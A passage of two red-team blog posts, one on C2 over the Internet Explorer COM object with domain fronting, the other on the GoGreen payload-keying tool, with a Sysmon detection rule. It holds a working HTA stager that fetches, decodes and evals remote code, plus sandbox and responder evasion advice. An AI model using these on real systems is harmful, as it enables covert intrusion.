This was a fantastic post by @Arno0x0x which demonstrated using websockets for C2, and his implementation uses the IE COM object as the vehicle for communications. He does a great job of demonstrating the power of this COM object.

I’m sure there’s more work out there, but I think those two are a good starting point.

The Problem

There were two main problems I have been looking to solve which eventually led me here.

  1. How can I avoid tools detecting network connections initiated from uncommon applications (such as powershell.exe, mshta.exe, msbuild.exe, etc.)?
  2. I’d like to use domain fronting from JS, VBS or VBA!

Problem 1 – Evading detective controls

With the emergence of Sysmon, EDR products, and other detective controls on endpoints, I get worried about the capabilities of defenders. For example, Sysmon Event ID 3 detects initiated network connections and this can easily be set up to alert on HTTP connections started from applications such as powershell.exe or mshta.exe. I’ve also seen some security products in client networks that detect or even prevent initiated network connections from “unapproved” applications. Building off the “live off the land” technique that we all know and love, the IE COM object quickly came into my head.

Problem 2 – Domain Fronting with COM objects

There have been some use cases where it would be nice to use domain fronting from JScript, VBScript or VBA. Even in situations where you may just want to use JS/VBS/VBA to pull down and execute more code, domain fronting can help make sure you’re able to get out an environment with restrictive egress controls. If you are unfamiliar with domain fronting, here’s the initial research paper, and two blog posts which help show practical use cases from Cobalt Strike and MDSec.

These are the COM objects that I have used in the past for HTTP communications: Msxml2.XMLHTTP, Microsoft.XMLHTTP, and WinHttp.WinHttpRequest.5.1. Of those three, only the first two are proxy aware. All three use the “setRequestHeader” method to set or override HTTP request headers, although it is not possible to overwrite the “Host” header. When I started testing the IE COM object, it was found that it is possible to set the “Host” header to an arbitrary value, which is the requirement for domain fronting.

What is InternetExplorer.Application?

The InternetExplorer.Application COM object implements the IWebBrowser2 interface. If you’re a fan of James Forshaw’s OleViewDotNet you’ll need to investigate the IWebBrowser2 interface to see all the methods and properties. A snippet from OleViewDotNet is below:

oleview-ie_com

Properties exist to make sure the window stays hidden to the end user and naturally there are methods to browse to various websites and get access to the HTML via the Document property. Below is a snippet This property can be accessed in C# or C++ by casting a IHTMLDocument, IHTMLDocument2, or IHTMLDocument3 interface. Enough on the low level code stuff, see below for PoC’s in JScript, VBScript, PowerShell, and C#.

Note: Most places you will see online will recommend adding the references MSHTML and SHDocVw to your C# project which will allow easy use of this COM object. I found that this may cause problems in certain situations, such as execution under DotNetToJscript or execution from a WMI Event Listener. The PoC C# code accesses these COM objects via reflection and I haven’t had any errors since, feedback welcome!

https://gist.github.com/leoloobeek/f468d34e81795239a8f8bac03646cf59

PowerShell Download Cradle

Regardless of whether you feel PowerShell’s days are nearly over, it seems wrong to not share a PowerShell oneliner to download and execute with the IE COM object. (aka PowerShell IEX download cradle). This cradle pulls down a base64 string, decodes it and executes. This is helpful as some characters in larger scripts may be rendered differently in IE, see the Limitations section for more info.

ie_com-mimikatz

Limitations and Caveats

When using this COM object it’s important to keep in mind that you are using Internet Explorer (or Edge). Rather than other ways we are more familiar with, such as PowerShell’s Net.WebClient, IE is actually browsing to the URL you specify rather than sending an HTTP request and getting the results into a variable. Below is a list of some issues you may run into.

Valid SSL/TLS certificate required

Internet Explorer (and Edge) don’t like self-signed certificates and will warn the user when attempting to access a site with an invalid certificate. This behavior will occur with the COM object and you will not get the HTML response you’re expecting. If you want to use secure communications, you will need a valid cert, otherwise you will have to use HTTP.

Browsing to non-HTML sources may result in a file download

If you browse out to a URL with, for example, a .exe extension, IE will handle it just as it normally would, by attempting a file download (and SmartScreen filter probably will get upset). Given this information, its likely not a good option for getting a raw byte stream unless you base64 encode it.

Browsing to non-HTML sources may result in unexpected HTML tags

Depending on the content-type returned from the HTTP server, IE will try to help out the end user by throwing in some extra HTML tags. For example, if you browse out to a URL with a .txt extension and the server responds with content-type: text/plain, it will place <pre></pre> tags outside of your content. If you were planning on taking that text and sending it right into execution, you will run into problems. If you control the web server, make the appropriate configuration or code changes to always return text/html as the content type. Make sure to use “.html” or similar extensions with Apache and you shouldn’t run into any issues.

Have to account for IE being “busy”

If you are browsing to a page with lots of content, missing content, or over a high latency network, IE will need time to get the contents for the page properly. For this, it’s important to check the ‘Busy’ property and sleep your script until it’s no longer busy. If you don’t wait, you may not get all of the returned HTML. All examples in the PoC link above include this.

Can’t Set Cookies

You can override or add HTTP request headers, but you can’t set or override the Cookie header. If your C2 identifies itself using the Cookies headers, I would recommend changing to a different HTTP request header. Empire has used CF-Ray, a common HTTP request header with Cloudflare HTTP traffic. Another option is the If-None-Match header.

Cookie History and Cache

Just like a normal browsing session, all cookies issued will be saved by IE. IE will also cache pages if you don’t have the appropriate cache control headers being sent from the server. It should be noted, all browsing does NOT get saved in the browsing history.

Understand You’re Creating Processes

This is probably obvious, but worth mentioning if you try to limit your process footprint during operations. When you create the IE COM object it will create two IE processes and they will exist until you use the ‘Quit’ method.

Example

Here’s an example to tie in everything and demonstrate the capabilities. For simplicity, we’ll assume a user fell for a phish and the execution would write an HTA file to disk and use mshta.exe to execute it. Why not call the HTA from a web server (e.g. mshta.exe https://domain.com/myhta.hta)? Well I want to avoid any network communications initiated from an exe that isn’t Internet Explorer (or Edge), Check out keying if you want to protect your payload if writing to disk.

The JScript within the HTA will call out to a web server with the IE COM object and obtain additional JScript, base64 encoded. This additional JScript could be C# created with DotNetToJScript. The HTA will then base64 decode the HTTP response and run it with eval(). This will get us to C# execution which is more powerful than JScript. The C# could also use the IE COM object for all continuing network communications.

On top of that, all will go through domain fronting (see https://github.com/vysec/DomainFrontingLists for a good list of frontable domains). I like www.irs.com for the upcoming tax season!

IE COM diagram

Below is sample contents for an HTA file that matches this example:


<html>
<head>
<script language="JScript">
// HTA skeleton taken from https://github.com/zerosum0x0/koadic
window.resizeTo(1, 1);
window.moveTo(2000, 2000);
window.blur();
try
{
window.onfocus = function() { window.blur(); }
window.onerror = function(sMsg, sUrl, sLine) { return false; }
}
catch (e){}
</script>
<script language="JScript">
function decodeBase64(base64) {
var dm = new ActiveXObject("Microsoft.XMLDOM");
var el = dm.createElement("tmp");
el.dataType = "bin.base64";
el.text = base64;
var b64bytes = el.nodeTypedValue;
var asc = new ActiveXObject("System.Text.ASCIIEncoding");
return asc.GetString(b64bytes);
}
var ie_com = new ActiveXObject("InternetExplorer.Application");
ie_com.Silent = true;
ie_com.Visible = false;
var headers = "Host: <SNIP>.cloudfront.net\r\n";
ie_com.Navigate2("http://www.irs.com/&quot;, 14, 0, null, headers);
while(ie_com.Busy) {
var shell = new ActiveXObject("WScript.Shell");
// WScript.Sleep will not work from an HTA
shell.Run("ping 127.0.0.1 -n 1", 0, true);
}
var resp = ie_com.document.body.innerHTML
ie_com.Quit();
decoded = decodeBase64(resp);
eval(decoded);
window.close();
self.close();
</script>
<hta:application caption="no" showInTaskBar="no" windowState="minimize"
navigable="no" scroll="no" />
<!– –>
</head>
<body>
</body>
</html>

view raw

example.hta

hosted with ❤ by GitHub

Open Source Use Cases

Recently a PR I sent into Empire got merged in allowing for domain fronting with the ie_com listener so feel free to play with that! Another good use case of this COM object would be with the TrevorC2. TrevorC2 embeds its taskings in valid HTML and as this COM object works best with accessing HTML from web pages, I think they would be a perfect match!

Defense

Daniel Bohannon @danielhbohannon brought up a great IoC for detection of using the IE COM object. The process creating and using the IE COM object will load ieproxy.dll. By looking for any process loading that DLL (that isn’t iexplore.exe) would be a great way to find attackers attempting to use this COM object.

Below is what this looks like from Sysinternals’ ProcMon when using cscript.exe to call JScript which uses the IE COM object.

ieproxy-load-procmon

With this information, and Daniel pointed this out, we can use Sysmon EID 7 to look for applications loading the ieproxy.dll image. Below is what I added to my Sysmon configuration file to catch any process that isn’t Internet Explorer loading ieproxy.dll.


<!–SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS–>
<!–DATA: UtcTime, ProcessGuid, ProcessId, Image, ImageLoaded, Hashes, Signed, Signature, SignatureStatus–>
<ImageLoad onmatch="include">
<ImageLoaded condition="end with">ieproxy.dll</ImageLoaded>
</ImageLoad>
<ImageLoad onmatch="exclude">
<Image condition="is">C:\Program Files (x86)\Internet Explorer\iexplore.exe</Image>
<Image condition="is">C:\Program Files\internet explorer\iexplore.exe</Image>
<Image condition="is">C:\Program Files (x86)\Internet Explorer\ielowutil.exe</Image>
<Image condition="is">C:\Program Files\internet explorer\ielowutil.exe</Image>
</ImageLoad>

And the result when using cscript.exe to call JScript to use the IE COM object.

ieproxy-load-sysmon

While we evaded some defenses, other indicators can be found to detect attackers. Other options for detecting this use is to look at other layers of defense, such as looking at network traffic. Has an employee been connecting to websites at abnormal hours? Is there a pattern that indicates automated beaconing behavior? Is an endpoint connecting to an uncategorized domain that has a domain age of 5 days?

Conclusion

That’s all from me. I encourage you all to try out the InternetExplorer.Application COM object if you haven’t already!

Happy Holidays!

Keying Payloads for Scripting Languages

Introduction

I’ve been a huge fan of the Ebowla project and find keying payloads valuable in both standard penetration testing engagements along with red team operations. Using environmental keying helps evade sandbox detection, makes it harder on endpoint security products, and can slow down incident response. There’s not many techniques out there that can have an impact on all the above defenses.

I commonly use scripting languages, such as PowerShell/VBS/JS, as an initial execution vector for phishing or when setting up persistence. I went down the rabbit hole to create GoGreen, which incorporates environmental keying to protect scripting languages from to get the benefits from this technique. Throughout this post I will outline the advantages, limitations, and how incorporating another keying technique can further improve your payloads.

Previous Work

As mentioned above, Ebowla is the first application of environmental keying payloads and the result of Josh Pitt‘s great research into this technique. Please check out the slides from his presentations along with his project. A base understanding of those materials is assumed going forward.

Also, check out this blog post from @Killswitch_GUI about HTTP keying. More on that in a bit!

Environmental Keying High Level Review

First off, why is environmental keying powerful? At a high level, we encrypt your “malicious payload” (such as CACTUSTORCH) with a series of variables you expect to be on the target workstation. These variables could be a file path you expect, maybe you know Photoshop will be installed: “C:\Program files 86\Adobe\Photoshop CS6”. Or maybe you expect to know the username, system architecture, and domain name: “jdoeamd64contoso.com”.

The final payload will NOT include the value of these variables, which means the payload does NOT include the decryption key for your final payload. It will search for all file paths on a system, pull in environmental variables, and then try combinations attempting to decrypt the final payload and execute it if successful. Again, if you’re fuzzy on this or want more info, see the research from above in Previous Work.

Environmental Keying with GoGreen

GoGreen takes a lot of what Ebowla offers and just applies it to PowerShell (v2+), JScript, or VBScript.

This is done by the payload by spidering/walking the directory tree from a start directory (such as C:\Program Files) and harvesting all file paths found. Next, it reads in all environment variables specified in the code (which is chosen by you in the config file), and creates all possible combinations (not permutations). Then goes the following steps:

  1. Loop through all file paths
  2. For each file path, loop through each combination of environmental vars
  3. Build a key with: sha512([file path][env var combo])
  4. Try first 32 chars of sha512 hash above as key
  5. If error, or sha512(decrypted) doesn’t match payload hash, move onto next key

Below is a sample config file for GoGreen. This will start spidering the file paths at C:\Program Files (x86)” and only go two folder paths deep (for performance). The actual key will be the PathKey, which is keying on whether Office is installed. It will also include generating all possible combinations of the five listed environmental variables, while only using three.

{
"Language": "jscript",
"WSHAutoVersion": "Yes",

"StartDir": "C:\\Program Files (x86)",
"Depth": "2",
"PathKey": "C:\\Program Files (x86)\\Microsoft Office\\root",

"EnvVars": {
"USERNAME": "jdoe",
"COMPUTERNAME": "win7pc35",
"USERDNSDOMAIN": "contoso",
"PROCESSOR_ARCHITECTURE": "",
"LOGONSERVER": ""
},

"Payload": "",
"PayloadPath": "/tmp/CACTUSTORCH.js",
"MinusBytes": "3"
}

Environmental Keying Trade Offs

As you see above, I only chose a spidering depth of 2. While this will quickly speed up harvesting all the file pahts to start trying to decyrpt, it also makes a far less number of possibilities if you were to not specify a depth at all and grab all folders and files under the start directory. This is a deployment consideration you must take into account and understand your needs. The more environmental variables and more file/folder paths, the longer it will take and the CPU will definitely spike as it goes on.

GoGreen’s Limitation

The limitation of using environmental keying with scripting languages, is the ease of decrypting and finding the final payload once the environmental keys or target system is identified. Obviously, since scripting languages are in cleartext (and not compiled binaries), it is easy to modify the output from GoGreen to determine the final payload.

As an example, let’s say I discover an active phishing attack in my environment. After responding to the event I get my hands on the payload, an HTA. After reviewing the source code it could be determined that it is attempting to decrypt off of environmental variables and I identify the line with “eval”:

gogreen-eval-statement
Excerpt from GoGreen JScript output highlighting “eval” statement

The “eval” statement will execute the decrypted payload if the variables exist. I could edit the JScript code inside the HTA to replace “eval” with Wscript.Echo and write it to a new .js file. Finally, I could use some means to execute this script on all the targeted end users’ workstations. If the expected environment variables exist, it will print out the final payload to the screen. I will then either have the shellcode or the C2 server address.

I still see value in using this technique to get through sandbox detections or bypass endpoint security products, and it still may slow down the incident response. Although I think using a compiled binary with Ebowla would be better as you would need to reverse the binary and then likely perform dynamic analysis of the payload with the right environmental values.

I should note, I am a penetration tester by trade and if any blue teamers have a different idea or approach to responding to these types of payloads, let me know!

Strengthening GoGreen with HTTP Keying

I wanted to make my payloads even more difficult for incident responders which reminded me of this blog post on HTTP keying. I noticed this Veil payload type is no longer included in Veil 3.0, but you can still use it in the unsupported version of Veil-Evasion.

HTTP Keying is a technique where you host a webpage somewhere on the Internet. The payload reaches out to this webpage, hashes the HTML response, and uses that hash as the key to decrypt the payload. The benefit here is that you have full control over this decryption key and you can remove it, as you can easily change the pages contents to your liking. Below is two easy examples to demonstrate the power here:

  • Create a web page, setup the HTTP keying, then change the page to something else. Have the payload keep checking and trying to decrypt (similar to a beacon). After waiting several hours, switch the web page back to the original and the payload should decrypt and execute your underlying payload.
  • You set scheduled task persistence on your beachhead calling back to your longhaul domain. You expect the persistence to call back every day at 9am. You set the expected webpage to decrypt your payload at 8:58am and revert back to a 404 page after you receive your call back.

Those are just two examples that can be further expanded on. Let’s go over how this works with GoGreen. I decided to have GoGreen first setup the HTTP Keying code, and then use environmental keying to mask the HTTP Keying code. The steps go as follows:

  1. GoGreen uses environmental keying (directory/env vars) to decrypt and execute code
  2. The code decrypted will handle the HTTP keying, which is executed
  3. The new executed code will go out to HttpKeyUrl and hash the page
  4. The new executed code will use the hash and decrypt and execute your payload
GoGreen Flow
GoGreen Flow

The benefit here is at first glance, the payload is doing environmental keying, with no code that initiates an HTTP call. For PowerShell , this means there is no “Net.WebClient” in here.

Due to differing charsets and other side effects of hashing and encrypting text, along with other factors such as different languages, GoGreen will output a “tester” file which can be used to verify that the HTTP key is setup appropriately. To avoid headaches here, it’s recommended to use a simple web page. Even the standard Microsoft 403 page would be benign and something that would be easy to use.

I don’t want to only push GoGreen here, this can also be done by generating a payload with Veil-Evasion to do HTTP Keying and then take the output and put it through Ebowla.

Putting It All Together

Putting all the pieces together, below I have a configuration setup for environmental keys: Office folder path and expecting the target username to be “username”. I also have set the configuration to grab an HTTP key at a given URL and to retry 300 times before giving up and exiting. For more information on how to use GoGreen see the README on the GitHub page. There is also releases for Windows, Linux and Mac for those that don’t want to setup Golang.

gogreen-example
Example GoGreen configuration and execution

GoGreen will generate all the keys and code needed and will also access the site provided in the configuration and determine the HTTP Key. You can also specify a custom key if you prefer with GoGreen -httpkey <HttpKey>. The result will output both the payload file and an HTTP key “tester” file. I would recommend running the tester file with your HTTP Key page up to ensure the payload format generates the same key.

gogreen-httpkey-tester
Running the HTTP Key tester file to ensure key/hashing works as expected

The payload file is now ready to deploy on your target!

Finishing Up

I think keying payloads is incredibly beneficial to offensive operations. If you are dropping persistence with a scripting language you are running a risk if it gets identified by the blue team.

While these keying techniques don’t make it impossible, it may buy you time during an operation to stay in the network and keep your infrastructure protected. It also gives the blue team some new things to learn and be prepared for.

Keying payloads is another cog in your offense-in-depth strategy, and strong when used with obfuscation, red team infrastructure, and other popular techniques in the industry right now.